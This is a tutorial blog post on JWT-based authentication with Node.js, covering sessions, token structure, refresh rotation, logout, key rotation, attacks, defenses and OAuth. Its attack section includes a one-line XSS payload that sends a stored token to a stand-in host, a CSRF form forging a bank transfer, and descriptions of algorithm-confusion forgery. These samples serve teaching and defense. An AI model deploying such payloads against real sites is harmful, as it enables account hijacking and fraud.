Skip to content
All posts

Deep Dive

The Complete Authentication Guide: From Sessions to JWT and OAuth

A complete guide to JWT authentication: sessions vs tokens, JWT structure and claims, access and refresh tokens, logout, the attacks that matter and how to stop them, and how it all scales, with Node.js examples.

2026-07-0655 min read
AuthenticationSecurityJWTNode.jsBackend

Your app needs login, so you reach for JWT. Everyone does.

It works on the first try. Login, token, protected route, done.

Then someone asks: "What happens when a token gets stolen? How do you log someone out?"

And suddenly it's quiet.


What you will learn

This is a long one, on purpose. It's the guide I wish someone had handed me before my first production auth system. By the end you will understand:

  • What authentication and authorization actually are, and why they're different jobs.
  • How session-based auth works, and the exact problem that pushed us toward tokens.
  • What a JWT really is: its three parts, how it's signed, and why anyone can read it.
  • The full login flow, from password check to protected route, with working Node.js code.
  • Access tokens vs refresh tokens, and why you need both.
  • How logout works when the server keeps no state (spoiler: it's awkward).
  • The attacks that actually happen: XSS, CSRF, algorithm confusion, token theft.
  • How to defend against them: cookies done right, rotation, revocation with Redis.
  • How JWT behaves in microservices, SSO, OAuth, and at serious scale.
  • The interview questions that come up again and again, answered properly.

If you remember one sentence, remember this:

A JWT is a signed note the server hands to the client. The server can verify the note wasn't forged without looking anything up, and that's both its superpower and its biggest weakness.

Everything else in this article is a consequence of that one trade-off.


1. Before tokens: sessions, and where they hurt

Authentication vs authorization

Two words that get mixed up constantly, so let's pin them down first.

Authentication answers: who are you? It's the bouncer at the club door checking your ID.

Authorization answers: what are you allowed to do? It's the wristband you get after the check. Green wristband gets you the main floor. Gold gets you the VIP area.

The bouncer checks your ID once. After that, everyone inside just looks at your wristband.

AuthenticationAuthorization
QuestionWho are you?What can you do?
HappensFirst, at loginOn every action
ExampleEmail + password check"Only admins can delete users"
Fails with401 Unauthorized403 Forbidden

Why do applications need this at all? Because HTTP is stateless. Every request arrives at your server as a stranger. The server has no built-in memory of who sent the last request. If you logged in one second ago and make another request, HTTP itself has no idea it's still you.

So every auth system in history solves the same problem: how does the client prove, on every single request, that it already logged in?

The classic answer: sessions

The traditional solution is session-based authentication, and it's genuinely good. Here's the flow:

You log in. The server creates a session: a record in memory or a database that says "session abc123 belongs to user 42". It hands the browser only the session ID, in a cookie. On every request, the browser sends the cookie back, and the server looks the ID up to find out who you are.

Think of it like a coat check. You hand over your coat (your identity), and you get a numbered ticket. The ticket itself means nothing. All the information lives behind the counter.

This is called stateful authentication, because the server remembers who you are. It keeps a record of every active session.

So what's the catch?

For one server, nothing. Sessions are simple and easy to revoke (delete the record, the user is logged out, done). The pain starts when you grow.

Every request costs a lookup. Each incoming request triggers a session-store read before your actual logic even runs. At small scale you won't notice. At millions of requests, that store is doing a lot of work just to answer "who is this?"

Scaling out gets messy. Say traffic grows and you add a second server behind a load balancer. The user logged in on server A, so the session lives in server A's memory. Their next request lands on server B, which has never heard of them. Now you need either sticky sessions (pin each user to one server, which fights the whole point of load balancing) or a shared session store like Redis that every server queries. Both work. Both are extra infrastructure and extra failure modes.

Cross-domain and mobile get awkward. Cookies were designed for browsers talking to one domain. Once you have a mobile app, a public API, and three services on different domains, cookie-based sessions start needing workarounds.

Stateful (sessions)Stateless (tokens)
Server remembers you?Yes, in a session storeNo, the token carries the proof
Per-request costStore lookupSignature check (pure CPU)
Revoke instantly?Yes, delete the sessionNot natively (we'll get there)
Scales horizontallyNeeds shared store or sticky sessionsAny server can verify
Best fitServer-rendered apps, single domainAPIs, microservices, mobile

Read that table carefully, especially the revocation row. Sessions make logout easy and scaling annoying. Tokens flip it: scaling gets easy and logout gets annoying. Neither one wins everything, and pretending otherwise is how auth systems go wrong.


2. Enter JWT

What is a JWT?

JWT stands for JSON Web Token (spec: RFC 7519, published 2015). It's usually pronounced "jot", though most people just say the letters.

A JWT is a compact string with three parts separated by dots:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiI0MiIsIm5hbWUiOiJSaXpvbiIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTc4MzY1MTIwMCwiZXhwIjoxNzgzNjUyMTAwfQ.3B41BvADQvYy0Sy5X_tfhh6aZTiXZAaUY1Y8P4NUxTA

At first glance it looks like random text. But once you split it into three pieces, it's actually pretty simple. It's three chunks of data, each base64url encoded (a URL-safe variant of base64):

header . payload . signature

The idea it enables: instead of the server storing "session abc123 belongs to user 42", the server writes "this is user 42, an admin, valid until 10:15" on a note, signs it, and gives the note to the client. On the next request, the client shows the note. The server checks the signature and trusts the contents. No lookup needed.

Back to the club analogy: sessions are the coat check ticket (meaningless number, all info behind the counter). A JWT is the wristband itself, with your access level printed on it and a hologram that proves the club issued it. Any staff member can read it on sight without radioing the front desk.

The three parts

1. Header. Metadata about the token, mainly which signing algorithm was used:

{ "alg": "HS256", "typ": "JWT" }

2. Payload. The actual data, called claims (a whole section on these coming up):

{
  "sub": "42",
  "name": "Rizon",
  "role": "admin",
  "iat": 1783651200,
  "exp": 1783652100
}

3. Signature. The header and payload are encoded, joined with a dot, and run through a cryptographic function with a secret key:

HMACSHA256(
  base64url(header) + "." + base64url(payload),
  secret
)

Change even one character of the payload and the signature no longer matches. That's the entire security model: not hiding the data, but making it tamper-evident.

Can anyone read a JWT? Yes. Really.

Honestly, this is the part that felt wrong to me the first time. A security token you can just... read? No key, no password? Yep. And once it clicks, a lot of JWT mistakes start to make sense.

Base64url is an encoding, not encryption. Decoding it requires no key, no secret, nothing:

const token =
  'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiI0MiIsIm5hbWUiOiJSaXpvbiJ9.xxxxx';

const payload = token.split('.')[1];
console.log(JSON.parse(Buffer.from(payload, 'base64url').toString()));
// { sub: '42', name: 'Rizon' }

Three lines, and the payload is wide open. Anyone who gets hold of a token (browser dev tools, a log file, a network capture) can read everything inside it.

The rule that follows: a JWT is signed, not encrypted. The signature stops people from forging or modifying tokens. It does nothing to stop them from reading tokens. Never put anything secret in a JWT payload.

There is a separate standard called JWE (JSON Web Encryption) for actually encrypted tokens, but it's rare in typical web auth. When people say JWT, they almost always mean signed-but-readable JWS tokens, which is what this whole article is about.

How generation and verification work

Generation, on your server at login time:

  1. Build the payload (user ID, role, expiry).
  2. Base64url-encode the header and payload.
  3. Sign header.payload with your secret key.
  4. Append the signature. Done, that string is the token.

Verification, on every request:

  1. Split the token into its three parts.
  2. Re-compute the signature from the header and payload, using the same secret.
  3. Compare it to the signature on the token. Mismatch means forged or tampered, reject.
  4. Check the timestamps (exp, nbf). Expired, reject.
  5. Trust the payload.

Notice what's missing from verification: any database call. That's the point. A signature check is a bit of CPU math, done in microseconds, on any server that has the key.

Where you'll actually meet JWTs

  • API authentication, the classic case and the focus of this guide.
  • Single Sign-On, where one login works across many apps (JWTs travel well between domains).
  • OAuth and OpenID Connect, where Google/GitHub login hands your app JWTs.
  • Microservices, where services verify requests without calling a central auth service.
  • One-off signed links, like email verification and password reset tokens, since a JWT can carry its own expiry and purpose.

3. Claims: what's inside the payload

Every key-value pair in the payload is called a claim, as in: the token claims this request comes from user 42, and the signature backs the claim up.

Claims come in three flavors.

Registered claims

The spec defines a few claim names that every backend engineer should know.

You don't need to memorize all of them. But you'll run into these again and again, so it's worth recognizing them on sight. They're all optional, but if you use one, use it for what it's meant for.

ClaimNameWhat it means
issIssuerWho created the token ("https://auth.myapp.com")
subSubjectWho the token is about, usually the user ID
audAudienceWho the token is for ("myapp-api"), so a token for service A gets rejected by service B
expExpirationUnix timestamp after which the token is dead
iatIssued atWhen the token was created
nbfNot beforeToken is invalid before this time (rarely used)
jtiJWT IDUnique ID for this specific token, essential for revocation later

The three-letter names aren't laziness for its own sake. Every byte of the payload travels with every request, so the spec kept the names short.

exp is the one non-negotiable claim in practice. A JWT without an expiry is valid forever, and "valid forever" plus "can't be revoked" is a security incident waiting for a date.

Public and private claims

Public claims are names registered in a public IANA registry (like email and name) so different systems agree on their meaning. Private claims are whatever custom fields you and your consumers agree on: role, plan, tenantId.

In a typical app you'll use a handful of registered claims plus two or three private ones:

{
  "iss": "https://api.myapp.com",
  "sub": "42",
  "aud": "myapp-web",
  "exp": 1783652100,
  "iat": 1783651200,
  "jti": "b1c9...",
  "role": "admin",
  "plan": "pro"
}

What must never go in a JWT

Remember: anyone holding the token can read the payload in three lines of code. And the token gets attached to every request, sometimes logged by proxies, sometimes cached. So:

  • Never: passwords or password hashes, API keys, credit card data, government IDs, secrets of any kind.
  • Avoid: emails, full names, phone numbers. Not catastrophic, but it's PII leaking into every request and log line. Use the user ID and look details up when needed.
  • Also avoid: big data. Permissions arrays with 200 entries, embedded profile objects. The token rides on every request; keep it lean. More on size in the performance section.

A good payload answers exactly two questions: who is this? and what are they allowed to do, broadly? Everything else belongs in your database.


4. The full authentication flow

Time to build it. Here's the complete journey of a request, end to end:

Login and token creation

Using Express and the jsonwebtoken package:

import express from 'express';
import jwt from 'jsonwebtoken';
import bcrypt from 'bcrypt';

const app = express();
app.use(express.json());

// Never hardcode this. It lives in env config, and it must be
// long and random: `openssl rand -base64 64`
const JWT_SECRET = process.env.JWT_SECRET;

app.post('/login', async (req, res) => {
  const { email, password } = req.body;

  const user = await db.users.findByEmail(email);

  // Same error whether the email or the password is wrong.
  // Separate messages let attackers test which emails exist.
  if (!user || !(await bcrypt.compare(password, user.passwordHash))) {
    return res.status(401).json({ error: 'Invalid credentials' });
  }

  const accessToken = jwt.sign(
    { sub: String(user.id), role: user.role },
    JWT_SECRET,
    {
      algorithm: 'HS256',
      expiresIn: '15m',
      issuer: 'https://api.myapp.com',
      audience: 'myapp-web',
    },
  );

  res.json({ accessToken });
});

A few deliberate choices worth calling out:

  • expiresIn: '15m'. Short on purpose. Why not 24 hours? Because a stolen token stays usable until it expires, and you can't take it back. Fifteen minutes turns "stolen credentials" into "a fifteen-minute problem". The next section shows how users stay logged in anyway.
  • issuer and audience are set at signing so they can be enforced at verification. A token minted for your web API shouldn't work against your admin API.
  • The vague error message is deliberate. "No account with that email" is a gift to attackers enumerating your users.

The verification middleware

This is the piece that guards everything, so it deserves care:

function requireAuth(req, res, next) {
  const header = req.headers.authorization ?? '';
  const [scheme, token] = header.split(' ');

  if (scheme !== 'Bearer' || !token) {
    return res.status(401).json({ error: 'Missing token' });
  }

  try {
    req.user = jwt.verify(token, JWT_SECRET, {
      // Pin the algorithm. Never let the token pick.
      algorithms: ['HS256'],
      issuer: 'https://api.myapp.com',
      audience: 'myapp-web',
    });
    next();
  } catch (err) {
    if (err.name === 'TokenExpiredError') {
      // A distinct code so clients know to refresh, not re-login
      return res
        .status(401)
        .json({ error: 'Token expired', code: 'TOKEN_EXPIRED' });
    }
    return res.status(401).json({ error: 'Invalid token' });
  }
}

// Protected route: middleware runs first, handler can trust req.user
app.get('/api/orders', requireAuth, async (req, res) => {
  const orders = await db.orders.findByUser(req.user.sub);
  res.json(orders);
});

That verify call is doing a lot in one line, so let's see the checks it runs and where a bad token gets rejected:

Notice there's no database anywhere in that chart. Every check is pure math on the token itself. That's what "stateless" really means in practice.

The single most important line in this whole article is algorithms: ['HS256']. The token's header says which algorithm was used, and if you let the token choose, an attacker controls the choice. That's the door the alg: none and algorithm-confusion attacks walk through (full story in the attacks section). Pin it. Always.

The token travels in the Authorization header using the Bearer scheme, which literally means "whoever bears this token gets access". That name is honest. There's no built-in binding to a device or user; possession is everything. Keep that in mind for the security sections.

Where should the client store the token?

The eternal question, and I'll give you the honest version rather than a slogan.

StorageXSS can steal it?CSRF risk?Works for mobile/API clients?
localStorageYesNoN/A (browser only)
JS-readable cookieYesYesAwkward
HttpOnly cookieNo (JS can't read it)Yes, needs SameSite/CSRF defenseAwkward
Memory (a variable)Only during active attackNoYes

There's no perfect row in that table. The mainstream recommendation for browser apps, and the one I'd give you too: access token in memory, refresh token in an HttpOnly cookie. XSS can't read either one from storage, and the CSRF exposure of the cookie is handled with SameSite plus the fact that the refresh endpoint only mints tokens, it doesn't perform actions.

Mobile apps have it easier: the OS keychain / keystore is exactly the secure storage browsers lack.

We'll unpack every cell of that table in the attacks and defenses sections. For now, the flow works: login issues a token, middleware verifies it, routes trust req.user. But a fifteen-minute lifetime means users get logged out every fifteen minutes, which is obviously unacceptable. That problem has a standard answer.


5. Access tokens and refresh tokens

The tension we just created

We want two things that fight each other:

  1. Short-lived tokens, so a stolen one is useless fast.
  2. Long login sessions, so users aren't typing their password all day.

A single token can't do both. Short expiry means constant re-login. Long expiry means a stolen token is dangerous for hours or days. So we split the job in two.

The access token is the workhorse. Short-lived (15 minutes is typical), sent on every API request. If it leaks, it's stale almost immediately.

The refresh token is the long-lived key (days or weeks). It does exactly one thing: prove you're still logged in so the server can mint you a fresh access token. It never touches your regular API routes.

Access tokenRefresh token
LifetimeMinutesDays or weeks
Sent onEvery API requestOnly to /refresh
PurposeProve who you are, nowGet a new access token
If stolenSmall windowBig problem, so guard it hard
Stored whereMemoryHttpOnly cookie (browser)
Server tracks it?No, statelessUsually yes, in a DB

That last row is the important one. The access token stays stateless (fast, no lookup). The refresh token is where we quietly reintroduce a little state, because it's rare (used every 15 minutes, not every request) and because tracking it is what makes revocation and logout possible. This split is the backbone of almost every real JWT system.

The refresh flow

The client hits an API, gets a 401 saying the token expired, quietly calls /refresh, gets a new access token, and retries. The user sees none of this. To them, they've just stayed logged in.

This is the part most tutorials skip. They show you jwt.sign, a protected route, and call it a day. But refresh tokens are the part you'll actually build in every production app, so it's worth slowing down here.

The refresh endpoint

// At login, alongside the access token, we also issue a refresh token
// and store a record of it so we can revoke it later.
async function issueRefreshToken(user, res) {
  const jti = crypto.randomUUID();

  const refreshToken = jwt.sign(
    { sub: String(user.id), jti },
    REFRESH_SECRET, // a DIFFERENT secret from the access token
    { expiresIn: '7d', algorithm: 'HS256' },
  );

  // Track it. This row is what lets us revoke later.
  await db.refreshTokens.insert({
    jti,
    userId: user.id,
    expiresAt: addDays(new Date(), 7),
    revoked: false,
  });

  // HttpOnly: JS can't read it. Secure: HTTPS only.
  // SameSite=Strict: not sent on cross-site requests (CSRF defense).
  // Path: only ever sent to the refresh endpoint.
  res.cookie('refreshToken', refreshToken, {
    httpOnly: true,
    secure: true,
    sameSite: 'strict',
    path: '/auth/refresh',
    maxAge: 7 * 24 * 60 * 60 * 1000,
  });
}

app.post('/auth/refresh', async (req, res) => {
  const token = req.cookies.refreshToken;
  if (!token) return res.status(401).json({ error: 'No refresh token' });

  let payload;
  try {
    payload = jwt.verify(token, REFRESH_SECRET, { algorithms: ['HS256'] });
  } catch {
    return res.status(401).json({ error: 'Invalid refresh token' });
  }

  // The signature can be valid but the token still revoked (logout,
  // password change). This is the DB check the access token skips.
  const record = await db.refreshTokens.findByJti(payload.jti);
  if (!record || record.revoked) {
    return res.status(401).json({ error: 'Refresh token revoked' });
  }

  const user = await db.users.findById(payload.sub);

  // Rotation: burn the old refresh token, issue a fresh one.
  // Why? Covered in the security section. It's important.
  await db.refreshTokens.revoke(payload.jti);
  await issueRefreshToken(user, res);

  const accessToken = jwt.sign(
    { sub: String(user.id), role: user.role },
    JWT_SECRET,
    { expiresIn: '15m', algorithm: 'HS256' },
  );

  res.json({ accessToken });
});

Two things to notice. First, the refresh token has its own secret, separate from the access token. If one leaks, the other still stands. Second, the refresh path does hit the database, checking whether the token was revoked. That's the deliberate re-introduction of state I mentioned. It's cheap because refreshes are infrequent, and it's what makes real logout possible.

A sane expiration strategy

There's no universal number, but here's a solid default to reason from:

  • Access token: 15 minutes. Long enough that refreshes are rare, short enough that a leak is contained.
  • Refresh token: 7 to 30 days. How long a user stays logged in without re-entering their password.
  • Absolute session cap: 30 to 90 days. Even with refresh rotation, force a real re-login eventually.

Tighten these for anything sensitive. A bank might use 5-minute access tokens and refresh tokens measured in hours. A note-taking app can be far more relaxed. Match the numbers to what a stolen token could actually do.


6. Logout and session management

Here's the uncomfortable truth nobody mentions in the tutorials: you cannot truly log out a stateless JWT.

Think about why. The whole point of a JWT is that the server verifies it with math and no lookup. The server never recorded that the token exists, so there's nothing to delete. The token stays valid until exp, whether you "logged out" or not. If someone copied it, logging out on your end does nothing to their copy.

This is where a lot of developers realize JWT isn't magic. It solves the scaling problem beautifully, but it hands you a couple of new ones in return, and logout is the first one you hit.

So "logout" with JWT is really one of two things.

Client-side logout: the basic version

For a low-stakes app, logout just means the client throws its tokens away:

function logout() {
  accessToken = null;                     // drop the in-memory access token
  await fetch('/auth/logout', { method: 'POST' }); // clears the refresh cookie
}

The server clears the refresh cookie so no new access tokens can be minted. The current access token technically still works for up to 15 more minutes, but with a short lifetime, many teams accept that. For a to-do app, fine. For a bank, absolutely not.

Server-side logout: the real version

To actually kill a session, you use the refresh token records we're already storing. Logging out means marking that token revoked:

app.post('/auth/logout', async (req, res) => {
  const token = req.cookies.refreshToken;
  if (token) {
    const { jti } = jwt.decode(token) ?? {};
    if (jti) await db.refreshTokens.revoke(jti); // this device only
  }
  res.clearCookie('refreshToken', { path: '/auth/refresh' });
  res.json({ ok: true });
});

Now the refresh token is dead. Within 15 minutes the access token expires too, and it can't be renewed. The session is genuinely over. If you need the access token dead instantly, you add a revocation check (the Redis pattern in section 9).

Logout from one device vs all devices

Because each login gets its own refresh-token row, per-device control falls out naturally.

  • This device: revoke the one jti (the code above).
  • All devices: revoke every refresh token for the user. UPDATE refresh_tokens SET revoked = true WHERE user_id = 42. Every session across every device dies. This is exactly what "log out everywhere" and a forced logout after a password change should do.

There's an even lighter trick for "log out everywhere": a token version number.

// Store a tokenVersion on the user row. Put it in every access token.
const accessToken = jwt.sign(
  { sub: user.id, role: user.role, ver: user.tokenVersion },
  JWT_SECRET,
  { expiresIn: '15m' },
);

// On password change or "log out everywhere", bump it:
// UPDATE users SET token_version = token_version + 1 WHERE id = 42

Now, if your middleware compares the token's ver against the user's current version, every token minted before the bump is instantly invalid. The catch: this needs a user lookup on requests, so it's a middle ground between fully stateless and fully tracked. Use it when "invalidate everything for this user right now" matters more than raw statelessness.

Device tracking

Since you're storing refresh-token rows anyway, enrich them and you get a "your active sessions" screen for free:

await db.refreshTokens.insert({
  jti,
  userId: user.id,
  device: req.headers['user-agent'],
  ip: req.ip,
  lastUsedAt: new Date(),
  expiresAt: addDays(new Date(), 7),
});

Now the user can see "iPhone, Chrome on Mac, logged in from Mumbai" and revoke any one of them. That's the same feature you've clicked through in your Google account settings, and now you know exactly what's behind it.


7. Signatures, algorithms, and keys

Quick breather. You now understand how JWT works end to end: what's in a token, how it's signed and verified, and how access and refresh tokens keep users logged in. That's the "how it works" half of the article, done.

The rest is about making it safe and making it scale, and it's the densest stretch, so we'll take it in three moves: how tokens are signed (this section), how they get attacked (section 8), and how you defend them (section 9). Let's start with the signature, because it's the whole game.

The algorithm families

When you signed tokens above, you passed HS256. That's one of three common choices, and the difference between them is genuinely important.

AlgorithmTypeKeysBest for
HS256Symmetric (HMAC + SHA-256)One shared secret signs and verifiesSingle app that both issues and checks tokens
RS256Asymmetric (RSA + SHA-256)Private key signs, public key verifiesMany services verify, one issues
ES256Asymmetric (ECDSA)Same split as RS256, smaller keysSame as RS256, more efficient

Symmetric vs asymmetric, plainly

Before the fancy words, here's the whole idea. There are two ways to sign a token. Either the same key both creates and checks it, or one key creates it and a different key checks it. That's the split, and everything below is just detail on those two.

Symmetric (HS256) uses one secret for both signing and verifying. Think of a normal house key: the same key locks the door and unlocks it. Simple and fast. The problem: everyone who verifies tokens needs that secret, and that same secret can create tokens. In a microservices world, handing your signing secret to ten services means ten places that can forge tokens. That's a lot of trust to spread around.

Asymmetric (RS256/ES256) uses two different keys instead of one. Think of a mailbox: anyone can drop a letter in through the slot, but only the person with the key can open it up. There's a private key (signs, stays locked in your auth service) and a public key (verifies, safe to hand out freely). Or picture a wax seal: only the king has the stamp, but anyone who knows the king's seal can confirm a letter is genuine. Your ten services each get the public key. They can verify all day, but none of them can forge a token, because none of them can sign. This is why serious multi-service setups use RS256.

Quick rule: one app doing everything? HS256 is fine. Multiple services verifying tokens? Go asymmetric.

Rotating keys without logging everyone out

Secrets don't live forever. They leak, employees leave, or policy just says rotate every 90 days. But if you swap the secret, every existing token instantly fails verification and every user is kicked out at once. How do you rotate without that?

The answer is the kid (key ID) header. You keep more than one key active and stamp each token with which key signed it:

// Sign with the current key, and record which one in the header
const token = jwt.sign(payload, keys['2026-07'].secret, {
  algorithm: 'HS256',
  keyid: '2026-07',
});

On verification, you read kid and look up the matching key:

function getKey(header) {
  const key = keys[header.kid];
  if (!key) throw new Error('Unknown key id');
  return key.secret;
}

To rotate: add the new key, start signing with it, but keep the old key around for verification until every token signed with it has expired (so, one access-token lifetime). Then retire it. New tokens use the new key; old tokens keep working until they naturally age out. Nobody gets logged out. That's how you answer the interview question "how do you rotate signing keys without logging everyone out?", and now you actually know.

JWKS: publishing your public keys

With asymmetric keys, verifiers need your public keys, and those rotate too. Rather than emailing keys around, the issuer publishes them at a standard URL as a JWKS (JSON Web Key Set):

GET https://auth.myapp.com/.well-known/jwks.json
{
  "keys": [
    { "kid": "2026-07", "kty": "RSA", "use": "sig", "n": "...", "e": "AQAB" },
    { "kid": "2026-04", "kty": "RSA", "use": "sig", "n": "...", "e": "AQAB" }
  ]
}

Each verifying service fetches this (and caches it), reads the kid off an incoming token, and grabs the matching public key. Here's the flow:

When you rotate, you publish the new key in the set, and verifiers pick it up automatically. This is exactly how Google, Auth0, and every OIDC provider hand out their keys. When you "Sign in with Google", your backend is verifying Google's JWTs against Google's JWKS endpoint.


8. How JWTs actually get attacked

Let's pause for a second. So far we've focused on how JWT works: how it's built, signed, verified, and refreshed. Now let's flip it around and look at how people actually attack it.

There's a fair bit here, so I've grouped it. The first batch is all about stealing a token you legitimately handed out. The second is about forging a token you never issued. Different problems, different fixes. You don't need to memorize the list; you just need to recognize the shape of each one.

Token theft

The big one, because a JWT is a bearer token: whoever holds it is treated as the user. No password needed, no second factor. If an attacker gets your token, from a log file, a leaked backup, an insecure connection, browser storage via XSS, they are you until it expires.

This is why short lifetimes and HTTPS aren't optional. They shrink the theft window and close the easiest theft channel.

XSS (Cross-Site Scripting)

An attacker gets their JavaScript running on your page, maybe through an unsanitized comment field or a compromised npm package. Now their script runs with full access to your page, including any token sitting in localStorage:

// If this runs on your page, and your token is in localStorage:
fetch('https://evil.com/steal?t=' + localStorage.getItem('accessToken'));

One line, and the token is gone. This is the single strongest argument against storing tokens in localStorage. An HttpOnly cookie can't be read by JavaScript at all, so XSS can't grab it directly. XSS is still bad (the script can make requests as you while you're on the page) but it can't walk away with a token to use later.

CSRF (Cross-Site Request Forgery)

This one only bites cookie-based auth, and understanding why is worth it. Browsers automatically attach cookies to any request to your domain, even requests triggered by another site. So an attacker's page can do this:

<!-- On evil.com, while you're logged into yourbank.com -->
<form action="https://yourbank.com/transfer" method="POST">
  <input type="hidden" name="to" value="attacker" />
  <input type="hidden" name="amount" value="10000" />
</form>
<script>
  document.forms[0].submit();
</script>

Your browser dutifully sends your bank cookie along with the forged request, and the bank can't tell it wasn't you. The fix is SameSite cookies (which tell the browser not to send the cookie on cross-site requests) plus CSRF tokens. Note the irony: localStorage isn't vulnerable to CSRF (the browser doesn't auto-attach it), but it is vulnerable to XSS. Cookies flip it. There's no free lunch, only different trade-offs.

Replay attacks

The attacker captures a valid token and re-sends it. Since it's still valid, it works. Bearer tokens are inherently replayable within their lifetime, which is, again, why short lifetimes matter. For high-security flows, you add a jti and track used tokens, or bind the token to a client (sender-constrained tokens), but for most apps, short expiry plus HTTPS is the pragmatic answer.

Man-in-the-middle

Someone on the network path reads traffic and lifts the token off the wire. The entire defense is HTTPS everywhere. Over plain HTTP, every token is one coffee-shop Wi-Fi sniff away from stolen. This isn't JWT-specific, but JWT's bearer nature makes it especially costly.

So that's the theft family: token theft, XSS, CSRF, replay, and man-in-the-middle. All of them are about getting hold of a real token. Now for the other kind, where the attacker skips the theft entirely and just forges their own.

The alg: none and algorithm-confusion attacks

This is the JWT-specific attack, and it's elegant and nasty. Remember the token tells you its own algorithm in the header? Early, careless verifiers trusted it.

alg: none: the attacker sets the header to {"alg":"none"}, deletes the signature, and edits the payload to {"role":"admin"}. A verifier that honors "none" says "no signature required" and accepts it. Instant admin.

Algorithm confusion (RS256 to HS256): subtler. Your server verifies with RS256 (private key signs, public key verifies), and your public key is, by design, public. The attacker forges a token with the header changed to HS256, then signs it using your public key as if it were an HMAC secret. If your verify code just calls "verify with whatever key I have", it uses the public key as the HMAC secret, the math checks out, and the forgery is accepted.

The defense for both is the same one line from section 4:

jwt.verify(token, key, { algorithms: ['HS256'] }); // pin it, never trust the header

You decide the algorithm, not the token. This is why I hammered on that line earlier.

Token tampering

An attacker intercepts a token and changes "role": "user" to "role": "admin". What happens? The signature no longer matches the modified payload, so verification fails. This attack simply doesn't work against a correctly verified JWT. That's the signature doing its whole job. (It only works if you forgot to verify, or fell for the algorithm attack above.)

Brute-forcing a weak secret

With HS256, security rests entirely on your secret. If it's secret123 or mycompanyname, an attacker who grabs one token can run it offline against a wordlist until the signature matches, then forge tokens forever. Real tools do this in seconds against weak secrets. Your secret must be long and random:

openssl rand -base64 64

A 512-bit random secret is not getting brute-forced. password will not survive the afternoon.


9. Defending your tokens

You've now seen how JWTs get attacked. Now let's flip to the other side of the table and see how production systems actually defend them. Here are the countermeasures, roughly in order of how much they buy you.

Keep access tokens short-lived

Everything gets easier when a stolen token dies fast. 15 minutes is the common default. This one setting quietly limits the damage of half the attacks above.

Get cookies right

If you store anything in a cookie (your refresh token, at least), three flags matter, and you want all three:

res.cookie('refreshToken', token, {
  httpOnly: true, // JavaScript can't read it → XSS can't steal it
  secure: true, // only sent over HTTPS → no plaintext leak
  sameSite: 'strict', // not sent on cross-site requests → CSRF defense
});
  • HttpOnly closes the XSS theft channel.
  • Secure closes the man-in-the-middle channel.
  • SameSite=Strict closes the CSRF channel. (Lax is a softer option if strict breaks legitimate cross-site links; None requires Secure and reopens CSRF, so avoid unless you truly need cross-site cookies.)

Three flags, three attack classes handled. Cheap and high-value.

Refresh token rotation with reuse detection

This is the clever one, and it's worth understanding fully. Every time a refresh token is used, you issue a new one and invalidate the old. A refresh token is single-use.

Why does that help? Picture an attacker steals a refresh token. Two things can happen:

  1. The attacker uses it first. They get a new token, the old one is now dead, so when the real user tries to refresh with their (now-invalidated) token, it fails.
  2. The real user uses it first. Same thing in reverse: the attacker's copy is now dead.

Either way, an already-used refresh token gets presented again, and that's your alarm. A used token showing up means someone has a stolen copy. So you don't just reject it, you nuke the whole family:

async function rotate(oldToken) {
  const record = await db.refreshTokens.findByJti(oldToken.jti);

  // A revoked token being reused = someone has a stolen copy.
  if (record.revoked) {
    // Kill every token in this login family. Attacker locked out.
    await db.refreshTokens.revokeFamily(record.familyId);
    throw new Error('Token reuse detected: family revoked');
  }
  // normal path: revoke this one, issue the next in the family
}

Yes, the real user gets logged out too. But that's the right call: a logout beats a hijacked account, and it's a strong signal something went wrong.

Blacklisting, whitelisting, and Redis

For instant access-token revocation (killing a token before its exp), you need a shared list the middleware can check. Two shapes:

  • Blacklist: store revoked token IDs; reject any token whose jti is on the list. Fully stateless until you actually revoke something.
  • Whitelist: store valid token IDs; reject anything not on the list. More control, but now you're tracking every token, which throws away much of JWT's stateless benefit.

Redis is the usual home for this, because it's fast and supports TTL (time to live). The trick: set each blacklist entry to expire exactly when the token would have anyway, so the list cleans itself up and never grows unbounded.

// Revoke a specific access token instantly:
const ttl = decoded.exp - Math.floor(Date.now() / 1000);
if (ttl > 0) await redis.set(`revoked:${decoded.jti}`, '1', 'EX', ttl);

// In the middleware, after signature verification:
if (await redis.get(`revoked:${req.user.jti}`)) {
  return res.status(401).json({ error: 'Token revoked' });
}

So the middleware now does two checks instead of one, the usual signature check plus a quick Redis lookup:

The dotted line is the whole point: logout (or a ban) writes the jti into Redis with a TTL, and every later request checks against it. When the token would have expired anyway, the entry disappears on its own.

Here's the honest trade-off, and it's the answer to "why use Redis with JWT?": adding this check means every request now hits Redis, which reintroduces exactly the per-request lookup that made us leave sessions behind. So it's not free. But a Redis GET is far cheaper than a full session read, and you only pay it when you genuinely need instant revocation, high-value systems like banking and healthcare. Most apps are fine relying on short access-token lifetimes and refresh-token revocation, and never blacklist access tokens at all. Reach for Redis when "logged out but still valid for 15 minutes" is unacceptable.


10. JWT in bigger systems

Everything so far worked on a single app. Now let's scale it out, because this is where JWT's whole reason for existing finally shows up. Fair warning: this section name-drops a few acronyms (SSO, OAuth, OIDC, PKCE), but each is a small idea, and I'll explain every one before using it. Don't let the alphabet soup scare you.

Microservices and the API gateway

Picture an app split into services: orders, payments, users, notifications. A request comes in. Who checks the token?

With sessions, every service would have to call a central auth service on every request, or share a session store. That central thing becomes a bottleneck and a single point of failure. With JWT, each service just verifies the signature locally. No network call, no shared store. The auth service issues tokens; everyone else independently verifies them. That's the payoff of stateless verification, and it's why JWT and microservices go together.

Common pattern: the API gateway verifies the token once at the edge, then forwards the request inward with the user identity attached (often as a header the internal services trust). Internal services can skip re-verifying, or verify with the public key if you want defense in depth. Either way, no central lookup per request.

SSO and Single Sign-On

Single Sign-On means logging in once and being authenticated across many apps: log into your company's identity provider, and Gmail, Slack, and Jira all just let you in. A central identity provider issues a token, and each app trusts tokens from that provider (verifying against its public keys). JWT is a natural fit because the token is self-contained and portable across domains.

OAuth 2.0 and OpenID Connect

These two get confused constantly, so here's the clean split:

  • OAuth 2.0 is about authorization, granting an app limited access to your stuff on another service. "Let this app read my Google Calendar." It hands out access tokens that represent permission (scopes), not identity.
  • OpenID Connect (OIDC) is a thin layer on top of OAuth that adds authentication, proving who you are. It adds an ID token (always a JWT) that says "this is who logged in".

So "Sign in with Google" is OIDC (identity), while "allow this app to access your Google Drive" is OAuth (permission). OIDC uses OAuth's machinery and adds identity on top.

